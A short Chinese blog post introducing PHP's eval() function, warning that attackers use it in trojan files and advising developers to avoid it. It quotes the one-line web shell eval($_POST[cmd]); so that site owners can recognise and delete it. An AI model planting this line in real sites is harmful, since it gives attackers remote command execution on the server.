php中eval函數用法介紹

標籤：php   eval   hack   木馬   

駭客用得最多的一句了，可以解析php。很多木馬檔案都是這樣做的，

650) this.width=650;" src="http://s3.51cto.com/wyfs02/M00/59/EE/wKioL1TwLf3BicfYAAyPJh9spQg206.jpg" title="hack.png" alt="wKioL1TwLf3BicfYAAyPJh9spQg206.jpg" />

上面是一個php大馬檔案，

eval() 函數把字串按照 PHP 代碼來計算。

該字串必須是合法的 PHP 代碼，且必須以分號結尾。

如果沒有在代碼字串中調用 return 語句，則返回 NULL。如果代碼中存在解析錯誤，則 eval() 函數返回 false。

由於安全原因，不建議大家在開發中使用。

下面一句最簡單的代碼，風險超級高，我們有時會看到自己的網站有這麼一句：

eval($_POST[cmd]);#這個就是php中的一句話木馬，如果發現，馬上刪除

本文出自 “我的部落格” 部落格，請務必保留此出處http://ningyuqiao.blog.51cto.com/5581274/1615717

php中eval函數用法介紹